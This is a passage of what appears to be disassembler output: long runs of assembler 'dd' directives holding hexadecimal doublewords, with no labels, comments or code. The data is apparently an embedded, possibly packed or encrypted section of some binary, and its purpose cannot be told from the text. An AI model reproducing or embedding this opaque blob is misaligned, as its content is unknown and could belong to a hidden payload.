		dd 0E49BF5B5h, 284BEFA3h, 0DC945EAAh, 3E552000h, 0ABC03CFFh
		dd 0DDDC047Dh, 0F1C264C4h, 0B8382D54h, 0A84495E2h, 5552731Ch
		dd 0CBD9811h, 6812F858h, 0B401950Ah, 0BF430741h, 413EBC70h
		dd 84332B53h, 759AE9CEh, 45F3E024h, 0F93030E4h,	0B21F237Fh
		dd 0B01B6B8Fh, 0A6B1C208h, 9810B5ACh, 4AB21210h, 9D9CB998h
		dd 972DF440h, 5F39026Eh, 2594F7F5h, 0E0C4F6DCh,	3522DD18h
		dd 891BA503h, 0B8F87C23h, 261EAD03h, 62A4E5CCh,	3A555C6Eh
		dd 40D85EB4h, 8C2C413Bh, 0EAE45A79h, 0F12B281Fh, 0A8A7982h
		dd 0EC105CE4h, 0EC5B3291h, 1A04687Ah, 400D9BB8h, 0FE28F0E1h
		dd 8C311FA8h, 52FC8390h, 701F0B3Dh, 4E978D2Ah, 0B22F30F1h
		dd 1B909D64h, 7684F60Ch, 120131F9h, 652786A3h, 282E8AA7h
		dd 0EF5A8360h, 73807CDEh, 4326D868h, 1CB05A4Bh,	4B831765h
		dd 0E1F0A614h, 0E63008D3h, 0F95B009Ah, 73805103h, 19793A4h
		dd 0F06460A4h, 13AAD855h, 0C86EFA08h, 0FDF1EE0Bh, 13910056h
		dd 0C9B48501h, 2E5F63A5h, 0F4777031h, 5F7C66C0h, 4ACF245h
		dd 98B6B1D8h, 68F6240Bh, 4ECEED60h, 0D8229DD4h,	2977E68Dh
		dd 0C1CC8CF0h, 51072F86h, 0B5907CC0h, 34C649Dh,	0D3FAA40Dh
		dd 0B8BE021h, 18F52FC2h, 9F2D771Ch, 93FD8C84h, 201214E4h
		dd 78207DAEh, 3F47E3F6h, 900430A4h, 0FC269842h,	0E84908ACh
		dd 0F8F12531h, 291F5500h, 0EB5EF08h, 62961951h,	0AE33EA20h
		dd 73338F10h, 0C5BB8185h, 0F1F01C89h, 0E61D4ABDh, 0E65CB050h
		dd 0E0E6BF4Eh, 0E484459Dh, 0AC5560E7h, 0CC6E019Ch, 580A1020h
		dd 54887F79h, 0C8189F14h, 72EAC33Bh, 57381D98h,	62FD0CF7h
		dd 0B7108125h, 0A6633C90h, 4E8CB500h, 0FAC96978h, 7852262h
		dd 5037AD2Fh, 0F04DB520h, 4CE93C3h, 0F4B5784Eh,	0DCD0B891h
		dd 0AA25BFC1h, 0E12F192Bh, 949E6B48h, 0A6D01CC0h, 0D22A4D9h
		dd 7F6A1DEFh, 0BA689D0Bh, 826C84CEh, 405A6554h,	71D489BFh
		dd 18FEF118h, 0ACA80E05h, 0C936C6BFh, 0A73DDCC8h, 0B000887Bh
		dd 9D8DF4FBh, 0F0897D98h, 78030339h, 0ED13EE04h, 0C4508A9Ah
		dd 1244D09Dh, 0AAE332CEh, 0A8CC5475h, 8BE2FAEEh, 3CF2F9E2h
		dd 2D0C1095h, 0FB110322h, 968249D4h, 0DCB07B90h, 9805782Ch
		dd 0FB3F00DEh, 4B98C67Dh, 1627AF54h, 0BC8C4EC7h, 3D465668h
		dd 0E46FE13h, 0FAA23854h, 0A4F6EFA7h, 93DB00DCh, 0C89DBBDEh
		dd 0EA04F849h, 0F95274DDh, 244B2341h, 18C86BB3h, 0A570008Bh
		dd 81C4AC42h, 0B4012ED1h, 4D0372E9h, 0B2C5E8DEh, 0D6E24031h
		dd 567493F8h, 75FCF044h, 81525D16h, 8F263041h, 0B16A82EEh
		dd 4312E74h, 476AFC03h,	0E0E250C0h, 681B9EEEh, 3A9D3B16h
		dd 410AC11h, 0D1B31828h, 0AA05C0E8h, 0BA3D3B3Ah, 4605046Fh
		dd 0C19867CAh, 256526Ch, 6C52ADh, 7CA57627h, 5B2F5E3h
		dd 1FE46D00h, 0CB852B1Ah, 921C091Dh, 0C4D1827Dh, 0BE082C2Ch
		dd 1A853B59h, 8CC0635Ch, 0D2403A04h, 0F7FF5A48h, 0BCB64F6Ch
		dd 3676A7A0h, 45039F01h, 5429DEE0h, 0A5137FE8h,	60E8C428h
		dd 450DE84h, 0F71CFD54h, 4B7CAD99h, 7A0470E3h, 0AAF072B2h
		dd 11027C8Fh, 73108093h, 0EBE4045Eh, 0C094DEEFh, 0BDB5D79Eh
		dd 39AB1641h, 9408AB94h, 0C69B0CF1h, 45126EC9h,	3BFE7926h
		dd 74CBE4D0h, 0FC0E888h, 274098A7h, 0DCF6A92Bh,	0A3D54ADCh
		dd 4A24A6Ch, 2E51BB8Dh,	899DE828h, 0B4777EDEh, 1D21E624h
		dd 4B130032h, 4D7219FBh, 6029100Ch, 0F74D2A70h,	7CF15FE8h
		dd 0B0DCA73Ah, 7F871EC4h, 0D879024Ah, 0E67405EEh, 3F05F870h
		dd 0CCDA89F1h, 5FDDCCCCh, 0C84CCEFAh, 5DEBC209h, 0DC4EC54h
		dd 0AABA0540h, 85006D38h, 0F0C5E289h, 950BD56Ah, 0EB644867h
		dd 0FA20BA60h, 94C37C2Bh, 54B02509h, 0B5FDE934h, 518C0118h
		dd 7A326D6Eh, 3CB76012h, 0A878F94Bh, 0F87AE412h, 2BE0E3Ah
		dd 79E1531Dh, 2AE40E6Ah, 92F4549Dh, 0C0A2BF52h,	41D7EC23h
		dd 6E00F884h, 1315E620h
		dd 7F88E20Eh, 0F39DD00h, 43119364h, 0F4CDF612h,	0A8D200BDh
		dd 0FAA1D882h, 68B2B172h, 78A3104Ah, 81749B4Fh,	0DC6B28FDh
		dd 43789E4h, 73E0FA51h,	0F7175D03h, 846F74C8h, 7640749Ch
		dd 6BEEF2h, 0FB0F642Eh,	0BBD7CBC5h, 5852C802h, 541B949Fh
		dd 8386405Ch, 0EC008106h, 0F634D5A0h, 2C70878Ah, 25A0ABC4h
		dd 0D1E918FCh, 1934795Ch, 0B464B3DCh, 0FE3F4034h, 7025162Ch
		dd 0A4A07333h, 1C465C4Ch, 0EF3C0D03h, 0AA9DF2EEh, 0E68DF070h
		dd 0B5CE40CAh, 0C64038BEh, 1395B5Ah, 4A787C26h,	2EF9478Eh
		dd 83E048F6h, 0DF75E218h, 0EC5807F6h, 42E616C8h, 50C7ACA9h
		dd 8011602Ah, 162D8986h, 0E2508FF4h, 5527B3B7h,	241DE845h
		dd 0D18C7B25h, 11C5C8B3h, 58444248h, 0F9B11B4h,	33E12300h
		dd 0A87B709Eh, 6E04350Bh, 40D0DC9Fh, 82DD0DE3h,	9A389200h
		dd 5B878880h, 2553733Eh, 60DE2720h, 169C8D94h, 0C4D083F6h
		dd 4AA9527Dh, 0B4DCA8E4h, 5A81CADh, 0FD25E8B8h,	9D94CE36h
		dd 6E0B50E1h, 7991DC49h, 1A26804Ch, 13400450h, 0E2553898h
		dd 4E62FACh, 0BE30FCB2h, 48202FBh, 8A366DBh, 443C94F8h
		dd 24933852h, 87050F58h, 4A8FACEh, 9AF6E305h, 0F07BBB25h
		dd 5345270Eh, 0B8969AE4h, 6076CBE0h, 0D2BA73E4h, 0B8D8FD30h
		dd 446F01D9h, 0C8BE387Bh, 0FC2C2EB9h, 2E0E048Ch, 0EF10F0D7h
		dd 0E4C804CBh, 0F2D4CCC0h, 5C6801BFh, 571D5497h, 0F1062AFh
		dd 430CA533h, 88EAC965h, 33D0514h, 0AD97C0D3h, 57E079CAh
		dd 0A1E272BFh, 0C0902BFBh, 28F7C131h, 0C4B28Fh,	18648497h
		dd 0F83AE6EDh, 1386E95h, 877EA885h, 2BB5418Dh, 0D0880012h
		dd 7CC001D7h, 0F173FF35h, 60E8C48Eh, 6FC021F7h,	2880349Bh
		dd 0BC2F400Ah, 446C0525h, 0C4D480B0h, 95467144h, 1478C427h
		dd 9C6FAEAFh, 456E5E0Bh, 8DACA05Fh, 0B51D5ACEh,	0DB95F44Ch
		dd 0A85B5068h, 408CF09Dh, 3EFC265Ah, 8B4BB901h,	9A8A7887h
		dd 1354057Eh, 1CC8AAB5h, 0B7DA002Ah, 1A85860Eh,	192763D7h
		dd 1D8FAA5h, 0C48C8F13h, 2B7FD67Ch, 0F64F94E2h,	13D3E094h
		dd 5CCB587Fh, 2C4CFC09h, 1D34BD55h, 0C28EC104h,	2E1CFD24h
		dd 6D23C86Bh, 46C5D200h, 12C7B64Ah, 0ACAA6405h,	0CC73C084h
		dd 97A110EEh, 0A070005Bh, 23310978h, 0B8738054h, 0FB052291h
		dd 971A9D72h, 527301B0h, 9C5EC2A5h, 8AC5E188h, 0B8ACF70Dh
		dd 39847180h, 0DAE937B2h, 0C8B1AB01h, 1152A2B4h, 0CD01E463h
		dd 68C1D877h, 105CF236h, 0B9C0F927h, 4DB10C30h,	6403B057h
		dd 8C8D8370h, 0C651A840h, 0E9A12D4h, 876CE3C3h,	0F0AB8F41h
		dd 96CE1380h, 8C70FBE1h, 0E33593h, 5024420Fh, 0D3C47A9Eh
		dd 6D9FEC92h, 6557C010h, 0A2018479h, 0CF0D94E5h, 8700D226h
		dd 0E24AD84Ah, 2B973CB2h, 6E2384h, 0FAC974DFh, 340944B0h
		dd 59F291D3h, 0DAF0958h, 5D524056h, 0EA40CC6Dh,	1AA6F7h
		dd 0E8D5BA78h, 6B608142h, 9B1460B9h, 8F4680D0h,	0F2E3EF9h
		dd 52C52A4Dh, 0A24CD4Eh, 3F34A30Fh, 77ECAC7Fh, 9258562Dh
		dd 48D0E2F1h, 0F9C61208h, 924A7CD1h, 781DBCC4h,	93650BD3h
		dd 0D40F10ADh, 0DE48E092h, 44406C95h, 6EE89659h, 0CE4654Bh
		dd 0B00358A4h, 3F7BD301h, 0F1EA972Ah, 2C803A01h, 9514340Eh
		dd 10C43C69h, 950A7BE0h, 65893053h, 358900DFh, 9604EF8h
		dd 70CB9475h, 0DE859683h, 2AB857C9h, 206E50C9h,	0A1C9AA5Ch
		dd 3E760C7Ch, 948FE22Ch, 5188D500h, 58C48B64h, 0E154416h
		dd 5300B0E0h, 0EFCFD81Ah, 6D0045FFh, 0AB117228h, 4A1E7F2Ah
		dd 5BA0A873h, 0F5FD1020h, 7A3E6BEh, 9B8CA8B8h, 81E0269Ch
		dd 21E92300h, 698E119Dh, 39CF00E1h, 20625B98h, 88EA3154h
		dd 0B0535018h, 27CE9564h, 0B0023A44h, 40C0BBEFh, 8F805052h
		dd 38E49DA2h, 0F76ADC01h, 76ADB44Ch, 0A76C1A10h, 38FD6B2Eh
		dd 27645208h, 131D00F6h, 0E092FE5Eh, 0FC4822FBh, 0E520EE8Ch
		dd 0B291F216h, 4D0F54A8h, 578CF735h, 0A8A49C59h, 4EE08D00h
		dd 65FE012Bh, 0BEB60069h, 0DE77B1F2h, 5600E364h, 43A486AEh
		dd 0A04BAD2Bh, 0E82A5C4Ch, 956227FDh, 0A9425CC0h, 0C4A41197h
		dd 2264EC10h, 2116B42h,	930674F7h, 519D6E91h, 0F37400D9h
		dd 0A3293520h, 309726EAh, 82DE46A0h, 2CDC5CFCh,	0B28D7E9h
		dd 0D4F41A3Bh, 6F4674h,	92D62A1Eh, 10ECF91h, 0E6665130h
		dd 2A68027Ch, 2B4BD0CBh, 0FC23A4h, 73F5E852h, 4400DCA4h
		dd 0AB66199Bh, 4B5E23F1h, 1D1C0B4Fh, 0CB601C4Dh, 2D94E26h
		dd 9287339Bh, 4C7B1A11h, 0BA18E58h, 846D679Bh, 4DCA8DCh
		dd 5D8F7BEBh, 87BBFF0h,	9C8ACA00h, 1233317Dh, 2027384Ah
		dd 0D7B2A8D1h, 0EA78F7C4h, 0E44416A2h, 5DC0A8F6h, 76ECE8D0h
		dd 5F41003Eh, 11DEBD83h, 955AF193h, 0BDD6C4A6h,	0F7BA8B4h
		dd 0F301E0EBh, 84764ACBh, 0F12412DCh, 9C04EBF7h, 0B009E9E2h
		dd 0FEA412FFh, 0DF04DCD4h, 99CB97FEh, 468C62AEh, 0EF2ADEC0h
		dd 550C9A97h, 74A58497h, 0B712D438h, 30F13B4Ch,	92A0E22Fh
		dd 9B4F8CADh, 0E06A80A8h, 0C8CC556h, 0B5EAD436h, 0C4B5D968h
		dd 0DCB0B60Ch, 974A5201h, 271E23F9h, 6E3C302Fh,	0E995B66Dh
		dd 9B3B92F0h, 4DA983FCh, 58C1BD7Bh, 7C3CEA7Dh, 8CF8F24Fh
		dd 4BFD59FFh, 0D620B572h, 5F486E55h, 88908F8Bh,	8DD2C00Ah
		dd 29732FEh, 0D5731D7Ch, 0B3EDEC39h, 25E62831h,	106485A1h
		dd 0A2AB641Eh, 0E02E0600h, 4C3491h, 7ED5A9F0h, 0CE45E90Fh
		dd 0F870D616h, 56AA0502h, 270C5E2Dh, 19C08CCDh,	287D80DDh
		dd 2DA08221h, 5C2F500Eh, 5A25EF28h, 4625E4A8h, 0E08A24E4h
		dd 0DC1CFEA5h, 3B227100h, 0B6153110h, 90F09FFCh, 2F58CDB7h
		dd 0FDFACFF4h, 0DF0BE6CEh, 0D78D2908h, 85335020h, 59BF2099h
		dd 0BBFB1736h, 0DABBBD12h, 6F47C031h, 2FABA8F6h, 0F6762F40h
		dd 72D0A347h, 0E990663h, 98EB699Bh, 0ABE1AA03h,	8B016C8Eh
		dd 0E38166FEh, 0E27E19BFh, 3FF0EB9h, 0BB811F1Fh, 5250E64Ah
		dd 6C4A37Eh, 8B5F6160h,	287C958Fh, 0B8CCD4Eh, 0DD6C5EB8h
		dd 1400B729h, 0C432BF58h, 2FFF4884h, 6A745995h,	398C891Dh
		dd 1F850D14h, 0DE79F5Fh, 0D8A2DE8Bh, 0E9104B7Dh, 0BB000187h
		dd 233CA21Eh, 5763858Bh, 83C7F52Fh, 2B810618h, 5409A1BDh
		dd 5BB58B11h, 8F0F500Ah, 0C85D4993h, 108073h, 7813BD18h
		dd 0BA6B39CDh, 3BA8E6D6h, 0EF069B65h, 0E8805CDBh, 8BFD8ABEh
		dd 27D19D19h, 2CDD8595h, 0D7810C80h, 43F0EDA3h,	4468912h
		dd 0D10E066Fh, 1141A59Dh, 2A503BABh, 240052F9h,	5C7405F0h
		dd 0A202655Bh, 2CBBDA97h, 0BB60FDE6h, 0FE14BF0Fh, 80A7B5FFh
		dd 0EF47DB81h, 0E53481Eh, 7588EFB5h, 0EC3000C8h, 5398A4BFh
		dd 4A064302h, 0EACC61C7h, 7D064482h, 1C8F5904h,	1E89635Ch
		dd 0C2EB85D3h, 0AD63F124h, 2261F8E1h, 0EE85E19h, 5D83D18Fh
		dd 4ED012AEh, 6E003643h, 3ED472DEh, 17568C5Eh, 0BF52F1BDh
		dd 10FD7D0Eh, 49258D24h, 0C082ED75h, 4BF58D17h,	51D85A12h
		dd 0E00CAE30h, 25D70084h, 0FA55919Dh, 8B02C0C5h, 906E42AFh
		dd 5A1580E8h, 0A568B1h,	0DB39DDBAh, 0EAFEC251h,	86D6B600h
		dd 1AFABF66h, 90FF9D5Fh, 0F51419h, 8380DECCh, 3EBB9058h
		dd 49846200h, 0EB9468BFh, 149F9328h, 15B86F61h,	588F038Ch
		dd 30FD85C7h, 8B1F4840h, 1615BD1Ah, 12B5C214h, 84F082A2h
		dd 0CD42A10h, 0E9262461h, 0B7172062h, 50E4A09Bh, 0E0110C30h
		dd 1E01E644h, 0B410E8C1h
		dd 4C25830Eh, 835803F0h, 7504E903h, 7736EBE7h, 0E648136h
		dd 1B8C857Bh, 0D0282950h, 58331821h, 57420113h,	0DAE8681Bh
		dd 750DBD09h, 231D0E8h,	0A9B7DAEDh, 5410189h, 9C10DEA5h
		dd 858DDEACh, 0A67B4DECh, 1F6FE076h, 2702298Fh,	4DBF66C9h
		dd 0B1202F90h, 5FE5A117h, 0D49BEE15h, 3140C39Ch, 0C74CB185h
		dd 2B351062h, 675DFE40h, 56956B15h, 51640C1Ch, 9CC1FAFEh
		dd 80AF53B5h, 0DE537Ch,	0C1A67907h, 0F460C5DAh,	6C7E6A0h
		dd 4D701B0h, 2B06EBBh, 4ED3802Bh, 0CF534496h, 0EE17DA08h
		dd 0F410A146h, 8102E2E0h, 4AA64A61h, 0EC73FAFh,	77D195A6h
		dd 520E20FFh, 3059834h,	0BB96AD83h, 0DE2DA30Ah,	25DE32A6h
		dd 0A0FD70B3h, 48B8A7D3h, 2F601D06h, 0D3FB8550h, 73C88424h
		dd 329A80CEh, 0C61D46C1h, 998D8900h, 860DC619h,	0DBBF53C4h
		dd 43B17142h, 9593FAB0h, 881D58Dh, 83853954h, 0DBFA04C2h
		dd 0F38A83FDh, 891DB076h, 24205850h, 0FC544C7Ah, 0E0B3841Ah
		dd 0EEE0A46Dh, 0F8874610h, 2878BFA2h, 89169929h, 1CFCB810h
		dd 3B360F8Ch, 0B88195ABh, 0A9F090BFh, 55800D48h, 585DAA84h
		dd 4EE8241Bh, 0F18ACC3Fh, 8DBC1048h, 0E92E0D45h, 9EAC7Ch
		dd 1DAE6E06h, 507BC45Bh, 0BE89BB3Bh, 260B5D25h,	46DC24F9h
		dd 391F001Bh, 3DE5A535h, 854484Ch, 65955862h, 576D42FDh
		dd 0C958B2FBh, 74E8CAh,	0A9AEA272h, 0D88BF8B9h,	9290E790h
		dd 0E408F910h, 403D308Dh, 29FF3F2h, 12E9669h, 10DBF00h
		dd 0ABFA1092h, 0C09065D0h, 0E38400ACh, 5681E2E6h, 4000EA58h
		dd 1ED8C1B4h, 6FB724Fh,	0B99589EDh, 5F4D6C1Fh, 0CB1CB916h
		dd 7FBA018Fh, 9451354Dh, 0F0D23BCh, 138B032h, 3B7E53F4h
		dd 29C5A241h, 0BCA9A93Ah, 6F892638h, 2CA51CEDh,	7155721Ch
		dd 0E5EFF811h, 0B75FFF00h, 2769BBA5h, 0AC6862EAh, 0B4C41971h
		dd 30141D2Eh, 28312543h, 45D5020Ch, 0A5B27F48h,	1FD6B102h
		dd 0CC60BCECh, 5B802421h, 92E30481h, 0C27DA5C1h, 0E4CA9161h
		dd 58EE7355h, 5526B484h, 3D084FAFh, 20C61802h, 0D0BFEB80h
		dd 0C3E56D04h, 0B5826039h, 1C11CD22h, 6FFFF40Ch, 7DCE9F6h
		dd 8261E591h, 80830487h, 2AD9BD64h, 49507C97h, 0A88978B5h
		dd 38C148E8h, 45F20440h, 0BB5BA246h, 204A1CE2h,	8CCE9B14h
		dd 107EA600h, 5538BCB6h, 604B12CBh, 0DFDD0590h,	7B9C8750h
		dd 1911EB1Dh, 5A181780h, 0F04ACE77h, 4EF026AEh,	0E0C0BB07h
		dd 5D794FEFh, 72C0254Dh, 0E4DB1B79h, 0E503500Dh, 0BB069615h
		dd 44E89796h, 4F183540h, 200F3C0h, 5053E2A6h, 5BE01DB7h
		dd 4515D5Fh, 0EA240489h, 8DB0A5B6h, 252A9D29h, 0B44B22Dh
		dd 0E51C00C6h, 0F02B76CEh, 6034DBE2h, 0B6BFF4AAh, 0D9CFB000h
		dd 4334003Bh, 122C414h,	852B9BDh, 0B50904ACh, 0B6BB266Dh
		dd 8D3113B5h, 0C45E9197h, 7149E7Fh, 204D80C0h, 0B51E7EC5h
		dd 2E005396h, 0FFACF3A8h, 910F78D1h, 9D33032Eh,	4C012045h
		dd 41CBC381h, 0FC2A476Bh, 110188EBh, 7152247Eh,	1428203Dh
		dd 0CD026A5Bh, 0FA13A117h, 60311631h, 585A0541h, 374BA37Fh
		dd 0E9F21261h, 0AD7E2012h, 0DE0080A3h, 77A06DECh, 1D47814h
		dd 4E0D516Ch, 2B90941Fh, 93AC82ADh, 5CA8F109h, 4DEB574Fh
		dd 42980DD8h, 0AD0049FAh, 47248D34h, 731A9F7Dh,	0D44A59EDh
		dd 4D510096h, 0ED9E923h, 500D7C97h, 558297A7h, 0F504BD7Ah
		dd 60EDBC0h, 0B1BCB6BFh, 7F20F4CEh, 0E7812568h,	61B7FFh
		dd 0F8061B3h, 0EB9CDEB7h, 0D3F28E60h, 6641244Dh, 0B5F7A596h
		dd 4881B897h, 0DF8020ABh, 9BC820EFh, 0CDAFF54Fh, 0C3DE3076h
		dd 0D7789827h, 1BA07BE6h, 7C970131h, 0F15552E2h, 2DDEF8AFh
		dd 0BDBC5100h, 12C484AFh, 816001B7h, 0A1F971C7h, 0FDF9602Ch
		dd 0BE4D194Eh, 4F912FFh, 0D0B5839Fh, 19204E26h,	50B17468h
		dd 332B562h, 0B69F8908h, 1AC2AB71h, 32AD1241h, 1701014h
		dd 31B0F91Ch, 322615Ch,	0E2EAF4E6h, 71487AE0h, 14952CA3h
		dd 566316ACh, 0B29CF80Ah, 78742501h, 426A86D7h,	40519C5Dh
		dd 415C5A07h, 2856700h,	98BE1975h, 0D00E015Dh, 0B60F5FF0h
		dd 41D630C8h, 0C4002841h, 97F3FFF7h, 392625Eh, 0C4CF94EEh
		dd 0C3778C57h, 0F5F31F00h, 7F6F06D1h, 97980128h, 0F04E8C1h
		dd 0B214089h, 43BAC99Dh, 0D70030A6h, 0F990FEC8h, 1EF7661Ah
		dd 0AF2BF8E2h, 3460AAF4h, 53BEE3Fh, 698E36A3h, 0C82AC429h
		dd 91A0D19Dh, 57821459h, 32000B71h, 0DAB2779Eh,	3B6B03C8h
		dd 2D33948Eh, 7E50E899h, 0BD13FDF2h, 7C90ABA8h,	56E1DD3h
		dd 615F50BBh, 0B78BB4E9h, 2A43835Ch, 76C49339h,	0AA5217F9h
		dd 9B85788h, 1030783Dh,	9F856877h, 371C00D8h, 0D181B70Bh
		dd 0E8014A7Ah, 836AB267h, 5560610Ah, 2C769007h,	495E1C19h
		dd 8AD09B80h, 3B751097h, 730BF2A1h, 44753E4Fh, 0BB17D245h
		dd 7F683CC9h, 0FCB87B80h, 0AC676FBDh, 8352F3C4h, 84DA60E1h
		dd 0AD0E8A27h, 0A57F132Ch, 80FE24A0h, 56B7F324h, 291D8021h
		dd 1F30D988h, 32373931h, 8D8F0875h, 8B0489B5h, 62E60078h
		dd 0BC15DF3Eh, 0F5BD044Eh, 0C7B6BA1Ah, 40394450h, 8F4B92Bh
		dd 999DEBC3h, 0E1991227h, 0C856CBFCh, 6072C614h, 4A225920h
		dd 7C6BBBFCh, 6B3C902h,	0F8606869h, 2B25F9A3h, 307B7C0h
		dd 0FFCE8C56h, 23B86890h, 8D58CA0h, 5DC2BA81h, 46D05453h
		dd 0B33F176Fh, 89EC023Ch, 0E148A5BDh, 0C23233ADh, 0D2D052D1h
		dd 24F4679Bh, 2486B49h,	0D801999h, 8CF69588h, 922307F4h
		dd 893B1F7Bh, 7E9515E6h, 7B03D6ECh, 575AF808h, 71B2101Dh
		dd 657D5003h, 7BF2C40h,	64CF8FEBh, 0E1C2C750h, 0BCC10318h
		dd 0FDD97408h, 25635819h, 8A301CA2h, 0FF9B01D7h, 7D4C7475h
		dd 35877086h, 4C22214Eh, 0CCF524A0h, 0D002B4Ch,	29596F10h
		dd 4192051h, 0ECD9D6B3h, 0C13EF5B6h, 9533C460h,	66DA0954h
		dd 0C328AEFCh, 0C120CD61h, 0ED70EF1Eh, 0E4C6930h, 60A44DD5h
		dd 0A84574CCh, 0F91B5013h, 0F7ABBD34h, 4DC4C54h, 0E1FF53D3h
		dd 0B0A4F6BEh, 0B09651C7h, 0BF134E0Ch, 66F62565h, 5BD3309h
		dd 6C5B3941h, 13ADD1B8h, 0F9880454h, 128F521Dh,	5D450120h
		dd 67B89169h, 50CDB5Ch,	34E65A06h, 8611FAB7h, 67E928F7h
		dd 659A4E07h, 0D143D28Bh, 0FEACA1BDh, 2D5AAC8h,	0BA326D16h
		dd 0A5836084h, 8CA02EFCh, 8030F5D9h, 2C788E1h, 310CFA4Ah
		dd 0AAC4C90Ah, 12F73201h, 2EA71311h, 0AC12FD5Fh, 8882502h
		dd 0A9935666h, 0E82AAA79h, 6BBB4AAEh, 1A2D0F39h, 3BBEF53h
		dd 5F133643h, 0ACCDFD48h, 572100FBh, 7BD01F2Ah,	515027C5h
		dd 6B095AA9h, 595B4C10h, 25BF6082h, 0CAA05037h,	0AE95FE8Bh
		dd 1C761187h, 0C122BE31h, 585A64FBh, 70672A61h,	6BA8C774h
		dd 4013E884h, 3972F59Ah, 0D8210002h, 708C20FEh,	0F203C36Bh
		dd 97CAD5F6h, 3D820432h, 0B6585FDDh, 3AE2E001h,	9588C460h
		dd 0C05097E1h, 38BA615Ah, 1898C21Dh, 191285A8h,	0CEB63D90h
		dd 62B13A46h, 0FD5660FFh, 84870C5Ch, 0F1AD3095h, 0E49AFED2h
		dd 50E02FC7h, 0AA746B83h, 0D920FFB0h, 0B2E91C04h, 375D2501h
		dd 2FDE202Eh, 8609D59Dh, 0D5252F59h, 820F5B37h,	4CE3F2D0h
		dd 0B380125Ah, 1D726249h, 38561216h, 0DF015DA4h, 689DD63h
		dd 3B86579h, 0EF014F02h, 6C290271h, 348F950Ch, 7544FA29h
		dd 292ED72Ch, 5BCE7000h, 120E335Fh, 1796DA4Eh, 0E857207Bh
		dd 6701EB8Eh, 1FD771Fh
		dd 13DC2F8Dh, 6D1212AAh, 968A1476h, 3CCF184Bh, 0E19C0DB3h
		dd 9DDB9698h, 0EAB7F4B9h, 0B4B556FFh, 7D3018A2h, 693D12B0h
		dd 19350635h, 0E8A5E423h, 0C4BA6080h, 457C9FCh,	0E176B966h
		dd 2403A861h, 0B743DCDEh, 5188C6D6h, 0BAA8D752h, 7B5C9DA1h
		dd 889BC343h, 7D4E8A33h, 525A559Eh, 3AB92Ah, 0EB294377h
		dd 42798D8h, 0E9D12B9Dh, 93F14011h, 0B8EB38C2h,	55651CA4h
		dd 97D80076h, 0CA9AE530h, 0D2C4FB90h, 6AB91C89h, 9C6D2D2h
		dd 0D810C020h, 0C4080407h, 0D60FB4D6h, 0E9A5C2BDh, 8CB525h
		dd 0C2F1CD20h, 0A0053EDEh, 61F5C71Eh, 0E8C00B9Bh, 4252BB66h
		dd 1B250592h, 0A545C599h, 4843A05Fh, 0A6D23Fh, 7923C2D4h
		dd 62C5CC8Ah, 10FF5648h, 5F380D21h, 4E90CACAh, 0A6C612ABh
		dd 0CE51E1EAh, 44C9D120h, 0ED20BD10h, 21E9251Bh, 9559AC4h
		dd 7D3A2BB0h, 0C0289BE4h, 0C4E928A6h, 97D0EE1h,	31498D89h
		dd 0E0306D75h, 90929612h, 75981497h, 0F4299616h, 54EE304Bh
		dd 0D824EE68h, 4E5580Ch, 0DEFEF69Dh, 61C56504h,	0F2AF8E0Fh
		dd 27D1716h, 0C159A4CBh, 0C2482ACh, 65082C88h, 890B1D11h
		dd 0BB7317E1h, 2753B7A5h, 0B34C2A7Dh, 97105667h, 161552Eh
		dd 0B73BD212h, 885043B1h, 121969DCh, 96F0E25Bh,	2180D5DAh
		dd 8A5DBC71h, 9020C84Ah, 3D59CFCDh, 6A0116C9h, 17482FA8h
		dd 19BED493h, 9684710Bh, 988A878Ch, 0A5087B99h,	0A044506Dh
		dd 714D59BCh, 27DA8B16h, 8CE88553h, 4400DE78h, 0BA7F7122h
		dd 7535E4Fh, 0D58CF388h, 0BF3C9C98h, 39B430Ch, 0CBB421Bh
		dd 41695A38h, 964C5B4Ch, 49FD3F22h, 8C1BE80Fh, 0BB6C3600h
		dd 97AA260Eh, 9D2AB112h, 0C28DC00Ah, 0B38F3662h, 134B0C00h
		dd 2BEA454Eh, 322FE774h, 0E5B1F836h, 80216C56h,	52109AEBh
		dd 2F5E09F3h, 137B5B2Eh, 0F80DC425h, 966BBAF8h,	0D97E9DEh
		dd 39801711h, 1665C31h,	32C98512h, 16A212F6h, 664A030h
		dd 559589C0h, 502CBB23h, 5BDE5C20h, 8CE9200Fh, 820039F2h
		dd 943AA8EFh, 91C084Fh,	0E00A8A87h, 520C0C84h, 3CC889BBh
		dd 54E3D2E0h, 8AF9EE50h, 46D6325Ch, 7665001Bh, 5A28A190h
		dd 9FC13A7h, 52D6D6BDh,	0D98BF512h, 15B2F6B6h, 0B9E03D30h
		dd 247E8E89h, 224E0641h, 506B2FE3h, 19041623h, 0A2EAEE4Bh
		dd 449627CEh, 0D02B0071h, 0FCD1AB17h, 9D0E3384h, 668BD3DFh
		dd 58E0505Fh, 11135096h, 0F289B613h, 5B38301Ch,	0A0EB9101h
		dd 42EA405h, 97B9CF30h,	69734809h, 2D689A4h, 0EDFC08AFh
		dd 4B617A61h, 64282FD9h, 593DE193h, 700419E8h, 6050DE8Bh
		dd 0BDF78D2h, 4DEB0E6h,	0CC258992h, 0FB4EAEF2h,	2B3F4520h
		dd 326501ABh, 0B08EDF22h, 61ACE0A4h, 7D1D099Dh,	0D360394Dh
		dd 96CCE47Ah, 5B9D4049h, 1A004944h, 0F1BF5FF7h,	90FF123Ch
		dd 0FC084427h, 3205BE01h, 684EAC02h, 5BC10E3Eh,	3E4AFA35h
		dd 0B15232Ch, 8E5033F8h, 0CDB73A97h, 5CD66119h,	0E2BB263Dh
		dd 0D0A3311Bh, 2A0978DAh, 794B4CBAh, 0A576ACAEh, 5F1CABC5h
		dd 26375D27h, 0BD67A980h, 1990E018h, 6866A36Bh,	0BB302FDAh
		dd 4B6DBD89h, 3A9CC917h, 0A0ACE3ADh, 0D1102F00h, 0E5E8D85Bh
		dd 0F5B51089h, 0C28B4B03h, 519D0B1Ch, 0F235101Ch, 2BA93662h
		dd 69BA0209h, 0FCA55E22h, 0FBF4C164h, 4AB8E6EBh, 388024DAh
		dd 0E06846DBh, 11BD0317h, 609073C1h, 95DDEC2Eh,	0F78A82CAh
		dd 60E8D661h, 18A7860Bh, 515CCA00h, 85089EDDh, 9053254Dh
		dd 0BEDAB5F7h, 6897102h, 5A7729D7h, 977190B0h, 0E84504F6h
		dd 3F158B20h, 0C10B00D9h, 79D69345h, 18004187h,	0AF71F254h
		dd 4DA09748h, 3C60C931h, 65C1BB66h, 0A925A1A0h,	6005E812h
		dd 4AD1C06h, 87CF4A6Fh,	18FDB75h, 502507C8h, 50B61222h
